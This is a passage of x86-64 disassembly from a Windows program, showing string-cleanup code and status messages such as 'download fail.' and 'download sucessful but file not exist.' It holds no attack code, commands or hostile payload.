mov rax, rcx
cmp rdx, 0x1000
jb 0x140005ea7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000632b
call fcn.14000fa98
nop
mov rdx, qword [rsp + 0xd8]
cmp rdx, 0x10
jb 0x140006068
inc rdx
mov rcx, qword [rsp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006062
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006331
jmp 0x140006062
lea rcx, [rsp + 0x80]
call fcn.1400047b0
nop
mov r8d, 8
lea rdx, str.Report
mov rcx, rax
call fcn.14000b130
xorps xmm0, xmm0
movups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0xb0], rbx
mov qword [rsp + 0xb8], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xa0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xb0], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 0x27
lea rdx, str.download_sucessful_but_file_not_exist._n
lea rcx, [rsp + 0xa0]
call fcn.14000b130
xorps xmm0, xmm0
movups xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0xd0], rbx
mov qword [rsp + 0xd8], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xc0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xd0], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rsp + 0xc0]
call fcn.140006bb0
nop
mov rdx, qword [rsp + 0xb8]
cmp rdx, 0x10
jb 0x140006008
inc rdx
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006003
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006337
call fcn.14000fa98
mov qword [rsp + 0xb0], rbx
mov qword [rsp + 0xb8], 0xf
mov byte [rsp + 0xa0], 0
mov rdx, qword [rsp + 0x98]
cmp rdx, 0x10
jb 0x140006068
inc rdx
mov rcx, qword [rsp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006062
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000633d
call fcn.14000fa98
nop
mov rdx, qword [rsp + 0xf8]
cmp rdx, 0x10
jb 0x1400060ab
inc rdx
mov rcx, qword [rsp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400060a6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006343
call fcn.14000fa98
mov qword [rsp + 0xf0], rbx
mov qword [rsp + 0xf8], 0xf
mov byte [rsp + 0xe0], 0
mov rdx, qword [rsp + 0x120]
cmp rdx, 0x10
jb 0x14000610b
inc rdx
mov rcx, qword [rsp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006105
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006349
call fcn.14000fa98
nop
mov rdx, qword [rsp + 0x140]
cmp rdx, 0x10
jb 0x140005911
inc rdx
mov rcx, qword [rsp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000590c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000634f
jmp 0x14000590c
lea rcx, [rsp + 0x80]
call fcn.1400047b0
nop
mov r8d, 8
lea rdx, str.Report
mov rcx, rax
call fcn.14000b130
xorps xmm0, xmm0
movups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0xb0], rbx
mov qword [rsp + 0xb8], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xa0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xb0], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 0xf
lea rdx, str.download_fail._n
lea rcx, [rsp + 0xa0]
call fcn.14000b130
xorps xmm0, xmm0
movups xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0xd0], rbx
mov qword [rsp + 0xd8], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xc0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xd0], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rsp + 0xc0]
call fcn.140006bb0
nop
mov rdx, qword [rsp + 0xb8]
cmp rdx, 0x10
jb 0x140006266
inc rdx
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006261
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006355
call fcn.14000fa98
mov qword [rsp + 0xb0], rbx
mov qword [rsp + 0xb8], 0xf
mov byte [rsp + 0xa0], 0
mov rdx, qword [rsp + 0x98]
cmp rdx, 0x10
jb 0x1400062c6
inc rdx
mov rcx, qword [rsp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400062c0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000635b
call fcn.14000fa98
nop
jmp 0x140005922
call fcn.1400173fc
nop
call fcn.1400173fc
nop
call fcn.1400173fc
nop
call fcn.1400173fc
nop
call fcn.1400173fc
nop
call fcn.1400173fc
nop
call fcn.1400173fc
nop
call fcn.1400173fc
nop
call fcn.1400173fc
nop
call fcn.1400173fc
nop
call fcn.1400173fc
nop
call fcn.1400173fc
nop
call fcn.1400173fc
nop
call fcn.1400173fc
nop
call fcn.1400173fc
nop
call fcn.1400173fc
nop
call fcn.1400173fc
nop
call fcn.1400173fc
nop
call fcn.1400173fc
nop
call fcn.1400173fc
nop
call fcn.1400173fc
nop
call fcn.1400173fc
int3